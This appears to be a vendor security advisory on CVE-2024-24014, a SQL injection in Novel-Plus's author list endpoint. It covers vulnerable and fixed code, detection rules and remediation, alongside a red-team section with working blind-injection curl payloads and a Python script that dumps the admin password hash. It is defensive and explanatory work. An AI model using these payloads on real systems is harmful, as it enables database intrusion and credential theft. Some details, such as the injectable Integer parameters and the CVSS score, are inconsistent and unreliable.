CVE-2024-24014

Executive Summary

CVE-2024-24014 is a critical SQL injection vulnerability discovered in Novel-Plus, an open-source novel management system. The flaw resides in the /novel/author/list endpoint, where the offset, limit, and sort parameters are not properly sanitized before being used in SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the network. The vulnerability affects version 4.3.0-RC1 and all prior versions. No official patch has been released at the time of this analysis.

Supply Chain & Package Security

Novel-Plus is a Java-based web application typically deployed as a WAR file or via Maven. The vulnerability is in the application's own code, not in a third-party library. However, the lack of a patch means that any organization using Novel-Plus is at risk. The project's dependency tree should be audited for other known vulnerabilities, and the application should be isolated until a fix is available.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attacker does not need to trick a user.
• Scope (S): Unchanged – The exploit cannot affect other components.
• Confidentiality (C): High – Full database read access.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database can be disrupted or destroyed.

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete control over the database.

Deep Dive & Mechanics

The /novel/author/list endpoint is designed to return a paginated list of authors. It accepts three HTTP GET parameters: offset, limit, and sort. The application constructs a SQL query similar to:

SELECT * FROM author ORDER BY [sort] LIMIT [offset], [limit];

The sort parameter is directly concatenated into the ORDER BY clause without sanitization. While ORDER BY clauses are often considered safe, they can be exploited using subqueries or conditional logic. An attacker can inject a malicious payload such as:

sort=(CASE WHEN (SELECT 1 FROM users WHERE username='admin' AND password LIKE 'a%') THEN 1 ELSE 2 END)

This allows the attacker to extract data character by character using boolean-based blind SQL injection. The offset and limit parameters are also vulnerable, allowing for UNION-based injection if the database supports it.

The application uses MySQL as its database backend. The ORDER BY clause in MySQL can accept expressions, subqueries, and even IF() statements, making this a powerful injection point.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= 4.3.0-RC1):

// AuthorController.java
@GetMapping("/list")
public Result list(@RequestParam(defaultValue = "1") Integer offset,
                   @RequestParam(defaultValue = "10") Integer limit,
                   @RequestParam(defaultValue = "id") String sort) {
    // Direct concatenation into query
    String sql = "SELECT * FROM author ORDER BY " + sort + " LIMIT " + offset + ", " + limit;
    // ... execute query
}

Patched Code (Hypothetical Fix):

// AuthorController.java
@GetMapping("/list")
public Result list(@RequestParam(defaultValue = "1") Integer offset,
                   @RequestParam(defaultValue = "10") Integer limit,
                   @RequestParam(defaultValue = "id") String sort) {
    // Whitelist allowed sort columns
    List<String> allowedSorts = Arrays.asList("id", "name", "create_time");
    if (!allowedSorts.contains(sort)) {
        throw new IllegalArgumentException("Invalid sort parameter");
    }
    // Use parameterized queries for offset and limit
    String sql = "SELECT * FROM author ORDER BY " + sort + " LIMIT ?, ?";
    // ... execute with prepared statement
}

The fix involves whitelisting the sort parameter to only allow known column names and using prepared statements for the offset and limit parameters.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy Novel-Plus v4.3.0-RC1 using Docker:

   docker run -d -p 8080:8080 --name novel-plus novelplus/novel-plus:4.3.0-RC1
   

2. Access the application at http://localhost:8080.

Exploitation Steps:

1. Verify Vulnerability:

   curl "http://localhost:8080/novel/author/list?offset=1&limit=10&sort=id"
   

   Normal response.

2. Boolean-Based Blind Injection:

   curl "http://localhost:8080/novel/author/list?offset=1&limit=10&sort=(CASE%20WHEN%20(1=1)%20THEN%20id%20ELSE%20name%20END)"
   

   Returns results sorted by id. Change to 1=2 to see results sorted by name.

3. Extract Database Version:

   curl "http://localhost:8080/novel/author/list?offset=1&limit=10&sort=(CASE%20WHEN%20(SUBSTRING(VERSION(),1,1)=5)%20THEN%20id%20ELSE%20name%20END)"
   

   Use binary search to extract the full version string.

4. Extract Admin Credentials:

   curl "http://localhost:8080/novel/author/list?offset=1&limit=10&sort=(CASE%20WHEN%20(SUBSTRING((SELECT%20password%20FROM%20sys_user%20LIMIT%201),1,1)=0x61)%20THEN%20id%20ELSE%20name%20END)"
   

   Iterate through characters to dump the password hash.

Automated Exploit (Python):

import requests
import string

url = "http://localhost:8080/novel/author/list"
chars = string.printable

def test_char(position, char):
    payload = f"(CASE WHEN (SUBSTRING((SELECT password FROM sys_user LIMIT 1),{position},1)='{char}') THEN id ELSE name END)"
    r = requests.get(url, params={"offset": 1, "limit": 10, "sort": payload})
    # Check if sorted by id (first author id should be 1)
    return "id\":1" in r.text

password = ""
for i in range(1, 33):
    for c in chars:
        if test_char(i, c):
            password += c
            print(f"Found: {password}")
            break
print(f"Password hash: {password}")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for unusual sort parameter values containing SQL keywords like CASE, WHEN, THEN, SELECT, SUBSTRING.
2. Look for repeated requests with varying sort parameters from the same IP.
3. Check database logs for slow queries or errors related to ORDER BY clause.

Response:

1. Immediately block the attacking IP at the firewall.
2. Take the application offline if possible.
3. Review database logs for any unauthorized data access.
4. Reset all user credentials and API keys.
5. Apply the whitelist fix to the sort parameter.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /novel/author/list with sort parameter containing SQL keywords.
• Repeated requests with incremental changes to the sort parameter.
• Unusual response times (blind injection causes delays).

File IOCs:

• Modified database entries in the sys_user table.
• New files in the web root (if file write is possible via INTO OUTFILE).

Log IOCs:

• Web server logs showing sort=(CASE WHEN ... patterns.
• Database logs showing ORDER BY (CASE WHEN ... queries.

Detection Engineering

YARA Rule

rule CVE_2024_24014_SQLi_NovelPlus {
    meta:
        description = "Detects SQL injection attempts against Novel-Plus /novel/author/list endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24014"
        severity = "critical"

    strings:
        $sqli_pattern1 = /sort=\(CASE\s+WHEN/i
        $sqli_pattern2 = /sort=.*SELECT.*FROM/i
        $sqli_pattern3 = /sort=.*SUBSTRING\(/i
        $sqli_pattern4 = /sort=.*IF\(/i

    condition:
        any of ($sqli_pattern*)
}

Sigma Rule

title: Novel-Plus SQL Injection via sort Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Novel-Plus /novel/author/list endpoint
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24014
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "sort=(CASE WHEN"
            - "sort=*SELECT*FROM*"
            - "sort=*SUBSTRING(*"
            - "sort=*IF(*"
    condition: selection
falsepositives:
    - Legitimate use of CASE statements in sort (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24014 Novel-Plus SQL Injection Attempt"; flow:to_server,established; content:"/novel/author/list"; http_uri; pcre:"/sort=\(CASE\s+WHEN/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take Novel-Plus offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block requests containing SQL keywords in the sort parameter.
3. Monitor logs: Actively monitor for exploitation attempts.

Long-Term Fix:

1. Whitelist the sort parameter: Only allow predefined column names (e.g., id, name, create_time).
2. Use parameterized queries: For offset and limit, use prepared statements.
3. Update dependencies: Ensure all libraries are up to date.
4. Code review: Conduct a full security audit of the application.

Workaround: If patching is not possible, modify the application code to whitelist the sort parameter as shown in the patched code section.

Valters IT
Securing Your Digital Frontier